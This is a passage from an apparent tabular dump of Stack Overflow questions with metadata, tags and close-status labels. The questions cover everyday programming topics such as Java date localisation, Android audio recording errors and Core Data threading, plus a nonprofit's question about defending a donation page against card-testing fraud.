the selection of this icon should have different action than selecting the tree item itself.
How can I do that?
| 0 |
1,951,849 | 12/23/2009 10:07:04 | 159,793 | 08/20/2009 06:28:39 | 255 | 3 | How can I format date by locale in Java? | I need to format date to app that has many languages, what is best way to format date, because every country has different kind of date formatting, so is it possible to format date by locale? | java | locale | date | formatting | null | null | open | How can I format date by locale in Java?
===
I need to format date to app that has many languages, what is best way to format date, because every country has different kind of date formatting, so is it possible to format date by locale? | 0 |
11,175,661 | 06/24/2012 07:16:11 | 1,059,161 | 11/22/2011 05:51:39 | 6 | 0 | How to create .wadl websevice and use it in soapui? | I have created a simple webservice application which contains a method that will return an integer. I need to this webservice in soapUI Pro 4.5.0 and test whether a request and response are performing correctly?
I'm getting error while loading service from the .wadl file
(executed from "localhost")
Thanks in advance
[1]: http://i.stack.imgur.com/zq9id.jpg | web-services | service | soapui | wadl | null | 06/25/2012 11:50:52 | not a real question | How to create .wadl websevice and use it in soapui?
===
I have created a simple webservice application which contains a method that will return an integer. I need to this webservice in soapUI Pro 4.5.0 and test whether a request and response are performing correctly?
I'm getting error while loading service from the .wadl file
(executed from "localhost")
Thanks in advance
[1]: http://i.stack.imgur.com/zq9id.jpg | 1 |
8,444,298 | 12/09/2011 10:41:15 | 516,629 | 11/22/2010 20:29:41 | 1,546 | 51 | Create a duplicate optimized 'built' directory for deployment or optimise assets inside your source directory? | I have been looking into Makefile build scripts and want to get a good workflow in place. Is it best practice to:
**A. Optimise the assets within your project source directory and deploy that directory.**
**B. Or duplicate your entire source directory and optimise your assets within there.**
*Interested to hear your opinions :)* | optimization | deployment | build | makefile | make | null | open | Create a duplicate optimized 'built' directory for deployment or optimise assets inside your source directory?
===
I have been looking into Makefile build scripts and want to get a good workflow in place. Is it best practice to:
**A. Optimise the assets within your project source directory and deploy that directory.**
**B. Or duplicate your entire source directory and optimise your assets within there.**
*Interested to hear your opinions :)* | 0 |
3,073,635 | 06/18/2010 23:19:45 | 370,763 | 06/18/2010 23:19:45 | 1 | 0 | Can You Add A Column To Wordpress Table? Will Upgrade Remove It? | Is this possible to add a column to wp_post? What will happen to it when it is upgraded? Is it possible to tell wordpress not to delete column if upgrade might remove it? | wordpress | null | null | null | null | null | open | Can You Add A Column To Wordpress Table? Will Upgrade Remove It?
===
Is this possible to add a column to wp_post? What will happen to it when it is upgraded? Is it possible to tell wordpress not to delete column if upgrade might remove it? | 0 |
8,436,229 | 12/08/2011 19:04:47 | 62,245 | 02/04/2009 03:55:12 | 1,743 | 13 | Telerik's RadSpell's StartSpellCheck error | I am using the telerik's `RadSpell` control and am trying to fire it on the client side using the example shown here:
[Telerik Example of RadSpell][1]
I get the following error:
`Uncaught TypeError: Object [object Object] has no method 'StartSpellCheck'`
Thoughts?
[1]: http://www.telerik.com/help/aspnet/spell/spell_launching_upon_client-side_events.html | javascript | asp.net | telerik | null | null | null | open | Telerik's RadSpell's StartSpellCheck error
===
I am using the telerik's `RadSpell` control and am trying to fire it on the client side using the example shown here:
[Telerik Example of RadSpell][1]
I get the following error:
`Uncaught TypeError: Object [object Object] has no method 'StartSpellCheck'`
Thoughts?
[1]: http://www.telerik.com/help/aspnet/spell/spell_launching_upon_client-side_events.html | 0 |
6,328,963 | 06/13/2011 09:58:39 | 765,823 | 05/23/2011 10:22:19 | 26 | 0 | C# insert a varible. |
I have this code:
if (arrayList.Contains(5) == true)
{
//something
}
This there anyway to insert a string varible with the value "arrayList"?
Code would be something like this:
string variable = "arrayList";
if (variable.Contains(5) == true)
{
//something
} | c# | null | null | null | null | 06/13/2011 10:03:27 | not a real question | C# insert a varible.
===
I have this code:
if (arrayList.Contains(5) == true)
{
//something
}
This there anyway to insert a string varible with the value "arrayList"?
Code would be something like this:
string variable = "arrayList";
if (variable.Contains(5) == true)
{
//something
} | 1 |
4,303,248 | 11/29/2010 11:21:19 | 208,486 | 11/11/2009 07:43:27 | 1,805 | 133 | UDF to display string as hexcode | I have some strange characters in a VARCHAR field which prevent me from converting the field into an INTEGER. I want to debug this and so I need an UDF that will convert the string to a hexadecimal code (just like in a hex editor) so that I can see which characters I am dealing with.
Where can I find such a function or how can I write it?
| sql | tsql | sql-server-2008 | udf | null | null | open | UDF to display string as hexcode
===
I have some strange characters in a VARCHAR field which prevent me from converting the field into an INTEGER. I want to debug this and so I need an UDF that will convert the string to a hexadecimal code (just like in a hex editor) so that I can see which characters I am dealing with.
Where can I find such a function or how can I write it?
| 0 |
10,547,160 | 05/11/2012 07:22:40 | 357,117 | 06/03/2010 04:50:58 | 348 | 35 | Browse - Read File on PHP | Can any one help me on how could I read the file using browse button for locating the file to be read using PHP? | php | text-files | null | null | null | 05/11/2012 07:33:05 | not a real question | Browse - Read File on PHP
===
Can any one help me on how could I read the file using browse button for locating the file to be read using PHP? | 1 |
6,229,844 | 06/03/2011 16:21:11 | 478,903 | 10/18/2010 01:41:03 | 76 | 2 | best language to create a portable inventory management system | we need to make an inventory management system which is desktop based and potable, our client company has many branches across the country what the client basically wants is normal inventory management system plus the name/location of the branch the data was entered from. i know i can do this by grabbing the location of the data-enterer i am just telling this for your information, though i am confused about what would be the best language for it, the three options i know are
C++
Java
and .Net
but its hard to decide on one, each would effect the time and performance and ultimately the cost.
can you please provide me any suggestions.
P.S please let me know if i this is not the correct place to ask this question or if the question is unclear before down voting | inventory-management | null | null | null | null | 06/03/2011 16:44:27 | not constructive | best language to create a portable inventory management system
===
we need to make an inventory management system which is desktop based and potable, our client company has many branches across the country what the client basically wants is normal inventory management system plus the name/location of the branch the data was entered from. i know i can do this by grabbing the location of the data-enterer i am just telling this for your information, though i am confused about what would be the best language for it, the three options i know are
C++
Java
and .Net
but its hard to decide on one, each would effect the time and performance and ultimately the cost.
can you please provide me any suggestions.
P.S please let me know if i this is not the correct place to ask this question or if the question is unclear before down voting | 4 |
1,819,980 | 11/30/2009 13:57:58 | 198,145 | 10/28/2009 14:13:44 | 43 | 1 | What design pattern would you consider is most important to use? | What design pattern would you consider is most important to use? | design-patterns | null | null | null | null | 11/30/2009 14:08:20 | not constructive | What design pattern would you consider is most important to use?
===
What design pattern would you consider is most important to use? | 4 |
10,073,850 | 04/09/2012 13:23:27 | 1,097,519 | 12/14/2011 09:55:02 | 165 | 18 | Is it possible to create an HTML link or button that closes a full screen app running in mobile Safari? | I am running an HTML5 (+ CSS3 and JavaScript) app in mobile Safari on the iPad. The following meta tag in my HTML file lets the app run full screen when started using an icon on the iPad's home screen:
<meta name="apple-mobile-web-app-capable" content="yes" />
In the main menu of my app there is a 'close' option. Does anyone know whether I can attach a JavaScript handler to that option that closes the Safari browser (which hopefully will also make the user return to the home screen?) The trivial JavaScript command 'window.close()' does not work. | javascript | ipad | html5 | mobile-safari | ipad-2 | null | open | Is it possible to create an HTML link or button that closes a full screen app running in mobile Safari?
===
I am running an HTML5 (+ CSS3 and JavaScript) app in mobile Safari on the iPad. The following meta tag in my HTML file lets the app run full screen when started using an icon on the iPad's home screen:
<meta name="apple-mobile-web-app-capable" content="yes" />
In the main menu of my app there is a 'close' option. Does anyone know whether I can attach a JavaScript handler to that option that closes the Safari browser (which hopefully will also make the user return to the home screen?) The trivial JavaScript command 'window.close()' does not work. | 0 |
10,651,775 | 05/18/2012 11:25:45 | 1,208,510 | 02/14/2012 07:09:54 | 552 | 14 | Android : java.lang.IllegalArgumentException: Invalid audio buffer size | I am trying to play audio after immediate recording of audio. I have searched google & stackoverflow i dint found any solutions.
here is the code for Audio_Record .
public class Audio_RecordActivity extends Activity {
private static final int RECORDER_BPP = 16;
private static final String AUDIO_RECORDER_FILE_EXT_WAV = ".wav";
private static final String AUDIO_RECORDER_FOLDER = "AudioRecorder";
private static final String AUDIO_RECORDER_TEMP_FILE = "record_temp.raw";
private static final int RECORDER_SAMPLERATE = 16000;
private static final int RECORDER_CHANNELS = AudioFormat.CHANNEL_IN_STEREO;
private static final int RECORDER_AUDIO_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
private AudioRecord recorder = null;
private int bufferSize = 0;
private Thread recordingThread = null;
private boolean isRecording = false;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
setButtonHandlers();
enableButtons(false);
bufferSize = AudioRecord.getMinBufferSize(RECORDER_SAMPLERATE,
RECORDER_CHANNELS, RECORDER_AUDIO_ENCODING);
}
private void setButtonHandlers() {
((Button) findViewById(R.id.btnStart)).setOnClickListener(btnClick);
((Button) findViewById(R.id.btnStop)).setOnClickListener(btnClick);
}
private void enableButton(int id, boolean isEnable) {
((Button) findViewById(id)).setEnabled(isEnable);
}
private void enableButtons(boolean isRecording) {
enableButton(R.id.btnStart, !isRecording);
enableButton(R.id.btnStop, isRecording);
}
private String getFilename() {
String filepath = Environment.getExternalStorageDirectory().getPath();
File file = new File(filepath, AUDIO_RECORDER_FOLDER);
if (!file.exists()) {
file.mkdirs();
}
return (file.getAbsolutePath() + "/" + System.currentTimeMillis() + AUDIO_RECORDER_FILE_EXT_WAV);
}
private String getTempFilename() {
String filepath = Environment.getExternalStorageDirectory().getPath();
File file = new File(filepath, AUDIO_RECORDER_FOLDER);
if (!file.exists()) {
file.mkdirs();
}
File tempFile = new File(filepath, AUDIO_RECORDER_TEMP_FILE);
if (tempFile.exists())
tempFile.delete();
return (file.getAbsolutePath() + "/" + AUDIO_RECORDER_TEMP_FILE);
}
private void startRecording() {
recorder = new AudioRecord(MediaRecorder.AudioSource.MIC,
RECORDER_SAMPLERATE, RECORDER_CHANNELS,
RECORDER_AUDIO_ENCODING, bufferSize);
recorder.startRecording();
isRecording = true;
recordingThread = new Thread(new Runnable() {
@Override
public void run() {
writeAudioDataToFile();
}
}, "AudioRecorder Thread");
recordingThread.start();
}
private void writeAudioDataToFile() {
byte data[] = new byte[bufferSize];
String filename = getTempFilename();
FileOutputStream os = null;
try {
os = new FileOutputStream(filename);
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
int read = 0;
if (null != os) {
while (isRecording) {
read = recorder.read(data, 0, bufferSize);
if (AudioRecord.ERROR_INVALID_OPERATION != read) {
try {
os.write(data);
} catch (IOException e) {
e.printStackTrace();
}
}
}
try {
os.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
private void stopRecording() {
if (null != recorder) {
isRecording = false;
recorder.stop();
recorder.release();
recorder = null;
recordingThread = null;
}
copyWaveFile(getTempFilename(), getFilename());
deleteTempFile();
}
private void deleteTempFile() {
File file = new File(getTempFilename());
file.delete();
}
private void copyWaveFile(String inFilename, String outFilename) {
FileInputStream in = null;
FileOutputStream out = null;
long totalAudioLen = 0;
long totalDataLen = totalAudioLen + 36;
long longSampleRate = RECORDER_SAMPLERATE;
int channels = 2;
long byteRate = RECORDER_BPP * RECORDER_SAMPLERATE * channels / 8;
byte[] data = new byte[bufferSize];
try {
in = new FileInputStream(inFilename);
out = new FileOutputStream(outFilename);
totalAudioLen = in.getChannel().size();
totalDataLen = totalAudioLen + 36;
AppLog.logString("File size: " + totalDataLen);
WriteWaveFileHeader(out, totalAudioLen, totalDataLen,
longSampleRate, channels, byteRate);
while (in.read(data) != -1) {
out.write(data);
}
in.close();
out.close();
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
private void WriteWaveFileHeader(FileOutputStream out, long totalAudioLen,
long totalDataLen, long longSampleRate, int channels, long byteRate)
throws IOException {
byte[] header = new byte[44];
header[0] = 'R'; // RIFF/WAVE header
header[1] = 'I';
header[2] = 'F';
header[3] = 'F';
header[4] = (byte) (totalDataLen & 0xff);
header[5] = (byte) ((totalDataLen >> 8) & 0xff);
header[6] = (byte) ((totalDataLen >> 16) & 0xff);
header[7] = (byte) ((totalDataLen >> 24) & 0xff);
header[8] = 'W';
header[9] = 'A';
header[10] = 'V';
header[11] = 'E';
header[12] = 'f'; // 'fmt ' chunk
header[13] = 'm';
header[14] = 't';
header[15] = ' ';
header[16] = 16; // 4 bytes: size of 'fmt ' chunk
header[17] = 0;
header[18] = 0;
header[19] = 0;
header[20] = 1; // format = 1
header[21] = 0;
header[22] = (byte) channels;
header[23] = 0;
header[24] = (byte) (longSampleRate & 0xff);
header[25] = (byte) ((longSampleRate >> 8) & 0xff);
header[26] = (byte) ((longSampleRate >> 16) & 0xff);
header[27] = (byte) ((longSampleRate >> 24) & 0xff);
header[28] = (byte) (byteRate & 0xff);
header[29] = (byte) ((byteRate >> 8) & 0xff);
header[30] = (byte) ((byteRate >> 16) & 0xff);
header[31] = (byte) ((byteRate >> 24) & 0xff);
header[32] = (byte) (2 * 16 / 8); // block align
header[33] = 0;
header[34] = RECORDER_BPP; // bits per sample
header[35] = 0;
header[36] = 'd';
header[37] = 'a';
header[38] = 't';
header[39] = 'a';
header[40] = (byte) (totalAudioLen & 0xff);
header[41] = (byte) ((totalAudioLen >> 8) & 0xff);
header[42] = (byte) ((totalAudioLen >> 16) & 0xff);
header[43] = (byte) ((totalAudioLen >> 24) & 0xff);
out.write(header, 0, 44);
}
private View.OnClickListener btnClick = new View.OnClickListener() {
@Override
public void onClick(View v) {
switch (v.getId()) {
case R.id.btnStart: {
AppLog.logString("Start Recording");
enableButtons(true);
startRecording();
break;
}
case R.id.btnStop: {
AppLog.logString("Start Recording");
enableButtons(false);
stopRecording();
break;
}
}
}
};
}
I am getting error as shown below logcat file.
logcat error
05-18 16:51:04.656: E/AndroidRuntime(1974): FATAL EXCEPTION: main
05-18 16:51:04.656: E/AndroidRuntime(1974): java.lang.IllegalArgumentException: Invalid audio buffer size.
05-18 16:51:04.656: E/AndroidRuntime(1974): at android.media.AudioRecord.audioBuffSizeCheck(AudioRecord.java:333)
05-18 16:51:04.656: E/AndroidRuntime(1974): at android.media.AudioRecord.<init>(AudioRecord.java:230)
05-18 16:51:04.656: E/AndroidRuntime(1974): at audio.xxx.Audio_RecordActivity.startRecording(Audio_RecordActivity.java:88)
05-18 16:51:04.656: E/AndroidRuntime(1974): at audio.xxx.Audio_RecordActivity.access$1(Audio_RecordActivity.java:85)
05-18 16:51:04.656: E/AndroidRuntime(1974): at audio.xxx.Audio_RecordActivity$1.onClick(Audio_RecordActivity.java:258)
05-18 16:51:04.656: E/AndroidRuntime(1974): at android.view.View.performClick(View.java:3511)
05-18 16:51:04.656: E/AndroidRuntime(1974): at android.view.View$PerformClick.run(View.java:14105)
05-18 16:51:04.656: E/AndroidRuntime(1974): at android.os.Handler.handleCallback(Handler.java:605)
05-18 16:51:04.656: E/AndroidRuntime(1974): at android.os.Handler.dispatchMessage(Handler.java:92)
05-18 16:51:04.656: E/AndroidRuntime(1974): at android.os.Looper.loop(Looper.java:137)
05-18 16:51:04.656: E/AndroidRuntime(1974): at android.app.ActivityThread.main(ActivityThread.java:4424)
05-18 16:51:04.656: E/AndroidRuntime(1974): at java.lang.reflect.Method.invokeNative(Native Method)
05-18 16:51:04.656: E/AndroidRuntime(1974): at java.lang.reflect.Method.invoke(Method.java:511)
05-18 16:51:04.656: E/AndroidRuntime(1974): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:784)
05-18 16:51:04.656: E/AndroidRuntime(1974): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:551)
05-18 16:51:04.656: E/AndroidRuntime(1974): at dalvik.system.NativeStart.main(Native Method)
please help me out.. what buffer size should i use. I use 4096 then too showing same error. | android | audio | audio-recording | audiorecord | null | null | open | Android : java.lang.IllegalArgumentException: Invalid audio buffer size
===
I am trying to play audio after immediate recording of audio. I have searched google & stackoverflow i dint found any solutions.
here is the code for Audio_Record .
public class Audio_RecordActivity extends Activity {
private static final int RECORDER_BPP = 16;
private static final String AUDIO_RECORDER_FILE_EXT_WAV = ".wav";
private static final String AUDIO_RECORDER_FOLDER = "AudioRecorder";
private static final String AUDIO_RECORDER_TEMP_FILE = "record_temp.raw";
private static final int RECORDER_SAMPLERATE = 16000;
private static final int RECORDER_CHANNELS = AudioFormat.CHANNEL_IN_STEREO;
private static final int RECORDER_AUDIO_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
private AudioRecord recorder = null;
private int bufferSize = 0;
private Thread recordingThread = null;
private boolean isRecording = false;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
setButtonHandlers();
enableButtons(false);
bufferSize = AudioRecord.getMinBufferSize(RECORDER_SAMPLERATE,
RECORDER_CHANNELS, RECORDER_AUDIO_ENCODING);
}
private void setButtonHandlers() {
((Button) findViewById(R.id.btnStart)).setOnClickListener(btnClick);
((Button) findViewById(R.id.btnStop)).setOnClickListener(btnClick);
}
private void enableButton(int id, boolean isEnable) {
((Button) findViewById(id)).setEnabled(isEnable);
}
private void enableButtons(boolean isRecording) {
enableButton(R.id.btnStart, !isRecording);
enableButton(R.id.btnStop, isRecording);
}
private String getFilename() {
String filepath = Environment.getExternalStorageDirectory().getPath();
File file = new File(filepath, AUDIO_RECORDER_FOLDER);
if (!file.exists()) {
file.mkdirs();
}
return (file.getAbsolutePath() + "/" + System.currentTimeMillis() + AUDIO_RECORDER_FILE_EXT_WAV);
}
private String getTempFilename() {
String filepath = Environment.getExternalStorageDirectory().getPath();
File file = new File(filepath, AUDIO_RECORDER_FOLDER);
if (!file.exists()) {
file.mkdirs();
}
File tempFile = new File(filepath, AUDIO_RECORDER_TEMP_FILE);
if (tempFile.exists())
tempFile.delete();
return (file.getAbsolutePath() + "/" + AUDIO_RECORDER_TEMP_FILE);
}
private void startRecording() {
recorder = new AudioRecord(MediaRecorder.AudioSource.MIC,
RECORDER_SAMPLERATE, RECORDER_CHANNELS,
RECORDER_AUDIO_ENCODING, bufferSize);
recorder.startRecording();
isRecording = true;
recordingThread = new Thread(new Runnable() {
@Override
public void run() {
writeAudioDataToFile();
}
}, "AudioRecorder Thread");
recordingThread.start();
}
private void writeAudioDataToFile() {
byte data[] = new byte[bufferSize];
String filename = getTempFilename();
FileOutputStream os = null;
try {
os = new FileOutputStream(filename);
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
int read = 0;
if (null != os) {
while (isRecording) {
read = recorder.read(data, 0, bufferSize);
if (AudioRecord.ERROR_INVALID_OPERATION != read) {
try {
os.write(data);
} catch (IOException e) {
e.printStackTrace();
}
}
}
try {
os.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
private void stopRecording() {
if (null != recorder) {
isRecording = false;
recorder.stop();
recorder.release();
recorder = null;
recordingThread = null;
}
copyWaveFile(getTempFilename(), getFilename());
deleteTempFile();
}
private void deleteTempFile() {
File file = new File(getTempFilename());
file.delete();
}
private void copyWaveFile(String inFilename, String outFilename) {
FileInputStream in = null;
FileOutputStream out = null;
long totalAudioLen = 0;
long totalDataLen = totalAudioLen + 36;
long longSampleRate = RECORDER_SAMPLERATE;
int channels = 2;
long byteRate = RECORDER_BPP * RECORDER_SAMPLERATE * channels / 8;
byte[] data = new byte[bufferSize];
try {
in = new FileInputStream(inFilename);
out = new FileOutputStream(outFilename);
totalAudioLen = in.getChannel().size();
totalDataLen = totalAudioLen + 36;
AppLog.logString("File size: " + totalDataLen);
WriteWaveFileHeader(out, totalAudioLen, totalDataLen,
longSampleRate, channels, byteRate);
while (in.read(data) != -1) {
out.write(data);
}
in.close();
out.close();
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
private void WriteWaveFileHeader(FileOutputStream out, long totalAudioLen,
long totalDataLen, long longSampleRate, int channels, long byteRate)
throws IOException {
byte[] header = new byte[44];
header[0] = 'R'; // RIFF/WAVE header
header[1] = 'I';
header[2] = 'F';
header[3] = 'F';
header[4] = (byte) (totalDataLen & 0xff);
header[5] = (byte) ((totalDataLen >> 8) & 0xff);
header[6] = (byte) ((totalDataLen >> 16) & 0xff);
header[7] = (byte) ((totalDataLen >> 24) & 0xff);
header[8] = 'W';
header[9] = 'A';
header[10] = 'V';
header[11] = 'E';
header[12] = 'f'; // 'fmt ' chunk
header[13] = 'm';
header[14] = 't';
header[15] = ' ';
header[16] = 16; // 4 bytes: size of 'fmt ' chunk
header[17] = 0;
header[18] = 0;
header[19] = 0;
header[20] = 1; // format = 1
header[21] = 0;
header[22] = (byte) channels;
header[23] = 0;
header[24] = (byte) (longSampleRate & 0xff);
header[25] = (byte) ((longSampleRate >> 8) & 0xff);
header[26] = (byte) ((longSampleRate >> 16) & 0xff);
header[27] = (byte) ((longSampleRate >> 24) & 0xff);
header[28] = (byte) (byteRate & 0xff);
header[29] = (byte) ((byteRate >> 8) & 0xff);
header[30] = (byte) ((byteRate >> 16) & 0xff);
header[31] = (byte) ((byteRate >> 24) & 0xff);
header[32] = (byte) (2 * 16 / 8); // block align
header[33] = 0;
header[34] = RECORDER_BPP; // bits per sample
header[35] = 0;
header[36] = 'd';
header[37] = 'a';
header[38] = 't';
header[39] = 'a';
header[40] = (byte) (totalAudioLen & 0xff);
header[41] = (byte) ((totalAudioLen >> 8) & 0xff);
header[42] = (byte) ((totalAudioLen >> 16) & 0xff);
header[43] = (byte) ((totalAudioLen >> 24) & 0xff);
out.write(header, 0, 44);
}
private View.OnClickListener btnClick = new View.OnClickListener() {
@Override
public void onClick(View v) {
switch (v.getId()) {
case R.id.btnStart: {
AppLog.logString("Start Recording");
enableButtons(true);
startRecording();
break;
}
case R.id.btnStop: {
AppLog.logString("Start Recording");
enableButtons(false);
stopRecording();
break;
}
}
}
};
}
I am getting error as shown below logcat file.
logcat error
05-18 16:51:04.656: E/AndroidRuntime(1974): FATAL EXCEPTION: main
05-18 16:51:04.656: E/AndroidRuntime(1974): java.lang.IllegalArgumentException: Invalid audio buffer size.
05-18 16:51:04.656: E/AndroidRuntime(1974): at android.media.AudioRecord.audioBuffSizeCheck(AudioRecord.java:333)
05-18 16:51:04.656: E/AndroidRuntime(1974): at android.media.AudioRecord.<init>(AudioRecord.java:230)
05-18 16:51:04.656: E/AndroidRuntime(1974): at audio.xxx.Audio_RecordActivity.startRecording(Audio_RecordActivity.java:88)
05-18 16:51:04.656: E/AndroidRuntime(1974): at audio.xxx.Audio_RecordActivity.access$1(Audio_RecordActivity.java:85)
05-18 16:51:04.656: E/AndroidRuntime(1974): at audio.xxx.Audio_RecordActivity$1.onClick(Audio_RecordActivity.java:258)
05-18 16:51:04.656: E/AndroidRuntime(1974): at android.view.View.performClick(View.java:3511)
05-18 16:51:04.656: E/AndroidRuntime(1974): at android.view.View$PerformClick.run(View.java:14105)
05-18 16:51:04.656: E/AndroidRuntime(1974): at android.os.Handler.handleCallback(Handler.java:605)
05-18 16:51:04.656: E/AndroidRuntime(1974): at android.os.Handler.dispatchMessage(Handler.java:92)
05-18 16:51:04.656: E/AndroidRuntime(1974): at android.os.Looper.loop(Looper.java:137)
05-18 16:51:04.656: E/AndroidRuntime(1974): at android.app.ActivityThread.main(ActivityThread.java:4424)
05-18 16:51:04.656: E/AndroidRuntime(1974): at java.lang.reflect.Method.invokeNative(Native Method)
05-18 16:51:04.656: E/AndroidRuntime(1974): at java.lang.reflect.Method.invoke(Method.java:511)
05-18 16:51:04.656: E/AndroidRuntime(1974): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:784)
05-18 16:51:04.656: E/AndroidRuntime(1974): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:551)
05-18 16:51:04.656: E/AndroidRuntime(1974): at dalvik.system.NativeStart.main(Native Method)
please help me out.. what buffer size should i use. I use 4096 then too showing same error. | 0 |
1,887,687 | 12/11/2009 12:14:09 | 229,564 | 12/11/2009 11:09:03 | 1 | 0 | Synchronous Distributed Objects Over NSConnection Issue | I have an application that pulls data from the web, parses them, and compiles the results in a search interface. Since the data are not co-dependant, it made sense to multi-thread the application to execute multiple fetches and parses simultaneously. I use NSInvocationOperation on a search and parse object I have written to execute this function.
In the controller object I have the following method:
-(void) searchAndParseAsynchronously {
NSPort *serverPort = [NSMachPort port];
NSConnection *serverConnection = [NSConnection connectionWithReceivePort:serverPort sendPort:serverPort];
[serverConnection setRootObject:self];
for (NSURL *urlToProcess in self.urlsToFetch)
{
BaseSearchParser *searcherForURL = [BaseSearchParser newSearchParserWithParameters:self.searchParams];
searcherForURL.urlToDocument = urlToDocument;
SearchThreader *searchThreader = [SearchThreader new];
searchThreader.threadConnection = comConnection;
searchThreader.targetSchema = searcherForURL;
NSInvocationOperation *threaderOperation = [[NSInvocationOperation alloc] initWithTarget:searchThreader
selector:@selector(executeSearchParse)
object:nil];
[self.operationQueue addOperation:threaderOperation];
}
}
The application relies on Core Data, which I've gathered is mostly thread unsafe. I have a different NSManagedObjectContext for each search/parse operation (and one for the controller), and only pass the NSManagedObjectId between operations or proxy objects.
The operations communicate the completed parse results back to their controller via an NSConnection object. The controller constructs the NSConnection using an NSMachPort object, sets itself as the root object, and gives the same NSConnection object to each of the targets of the NSInvocationOperations. The controller then enqueues the NSInvocationOperation for execution in its own NSOperationQueue.
In the search threader object I have the following method:
-(void) executeSearchAndParse
{
id parentServer = [threadConnection rootProxy];
[parentServer setProtocolForProxy:@protocol(SearchParseProtocol)];
NSArray *importResults = [targetSchema generatedDataSetIds];
[parentServer schemaFinished:targetSchema];
[parentServer addSearchResults:importResults];
}
I believe I have followed the Apple example of generic inter-thread communication given [here](http://developer.apple.com/mac/library/documentation/Cocoa/Conceptual/DistrObjects/DistrObjects.html).
I have to say that most of the time, this works beautifully: The notifications from the NSConnection rootProxy are posted to the run loop in the main thread as expected and wait for pickup until the controller object is ready. However, in some of my test cases it causes Core Data to grind to a screeching halt because sometimes the messages make it to the controller object *in the same thread as the NSInvocationOperation object which is calling the rootProxy object*.
I've placed a debugger point in the controller on the message which is sent when the search/parse operation is complete, and sure enough, sometimes (just sometimes) the executing thread is *not* the main one. Does anyone have an idea as to why this might occur? Or, is there a simpler way to construct inter-thread asynchronous communication? OR is my approach for Core Data totally off-kilter?
Thanks in advance! | objective-c | core-data | multithreading | distributed-objects | cocoa | null | open | Synchronous Distributed Objects Over NSConnection Issue
===
I have an application that pulls data from the web, parses them, and compiles the results in a search interface. Since the data are not co-dependant, it made sense to multi-thread the application to execute multiple fetches and parses simultaneously. I use NSInvocationOperation on a search and parse object I have written to execute this function.
In the controller object I have the following method:
-(void) searchAndParseAsynchronously {
NSPort *serverPort = [NSMachPort port];
NSConnection *serverConnection = [NSConnection connectionWithReceivePort:serverPort sendPort:serverPort];
[serverConnection setRootObject:self];
for (NSURL *urlToProcess in self.urlsToFetch)
{
BaseSearchParser *searcherForURL = [BaseSearchParser newSearchParserWithParameters:self.searchParams];
searcherForURL.urlToDocument = urlToDocument;
SearchThreader *searchThreader = [SearchThreader new];
searchThreader.threadConnection = comConnection;
searchThreader.targetSchema = searcherForURL;
NSInvocationOperation *threaderOperation = [[NSInvocationOperation alloc] initWithTarget:searchThreader
selector:@selector(executeSearchParse)
object:nil];
[self.operationQueue addOperation:threaderOperation];
}
}
The application relies on Core Data, which I've gathered is mostly thread unsafe. I have a different NSManagedObjectContext for each search/parse operation (and one for the controller), and only pass the NSManagedObjectId between operations or proxy objects.
The operations communicate the completed parse results back to their controller via an NSConnection object. The controller constructs the NSConnection using an NSMachPort object, sets itself as the root object, and gives the same NSConnection object to each of the targets of the NSInvocationOperations. The controller then enqueues the NSInvocationOperation for execution in its own NSOperationQueue.
In the search threader object I have the following method:
-(void) executeSearchAndParse
{
id parentServer = [threadConnection rootProxy];
[parentServer setProtocolForProxy:@protocol(SearchParseProtocol)];
NSArray *importResults = [targetSchema generatedDataSetIds];
[parentServer schemaFinished:targetSchema];
[parentServer addSearchResults:importResults];
}
I believe I have followed the Apple example of generic inter-thread communication given [here](http://developer.apple.com/mac/library/documentation/Cocoa/Conceptual/DistrObjects/DistrObjects.html).
I have to say that most of the time, this works beautifully: The notifications from the NSConnection rootProxy are posted to the run loop in the main thread as expected and wait for pickup until the controller object is ready. However, in some of my test cases it causes Core Data to grind to a screeching halt because sometimes the messages make it to the controller object *in the same thread as the NSInvocationOperation object which is calling the rootProxy object*.
I've placed a debugger point in the controller on the message which is sent when the search/parse operation is complete, and sure enough, sometimes (just sometimes) the executing thread is *not* the main one. Does anyone have an idea as to why this might occur? Or, is there a simpler way to construct inter-thread asynchronous communication? OR is my approach for Core Data totally off-kilter?
Thanks in advance! | 0 |
10,025,676 | 04/05/2012 09:03:47 | 1,083,221 | 12/06/2011 09:42:06 | 1 | 0 | Recommended server specs? | I'm working on buying a cloud server - i have never had my own server before (although i know how to setup the server)
So, i have this website which generate books from user inputs (some of the books are 400+ pages) - these are generated to a PDF file which uses alot of memory (around 600M)
I'm running LAMPP on Ubuntu 10.04 LTS. (THe LINUX alternative for XAMPP) (Apache, mysql, php)
How much ram, how big a processor etc. do i need for this to work properly with around 400 active users a day? | apache | cloud | specs | null | null | 04/05/2012 13:29:05 | off topic | Recommended server specs?
===
I'm working on buying a cloud server - i have never had my own server before (although i know how to setup the server)
So, i have this website which generate books from user inputs (some of the books are 400+ pages) - these are generated to a PDF file which uses alot of memory (around 600M)
I'm running LAMPP on Ubuntu 10.04 LTS. (THe LINUX alternative for XAMPP) (Apache, mysql, php)
How much ram, how big a processor etc. do i need for this to work properly with around 400 active users a day? | 2 |
4,676,656 | 01/13/2011 04:02:13 | 79,288 | 03/18/2009 03:22:17 | 61 | 2 | Advice on stopping donation fraud | I work for a non-profit organisation and have created and online donations page. Recently this donations page has been used to validate stolen credit card details via the process known as [Carding][1].
The way it works is that a slacker get hold of a whole bunch of credit details but doesn't know which numbers are good or not. So they go to a donations page and attempt a small donation ($5 or less) with the stolen card number. If the donations goes through then they can use the number for bigger purchases.
Carding can cost a non-profit a lot of money as most these "donations" will end being reversed and in some cases a charge back fee will be charged by the bank.
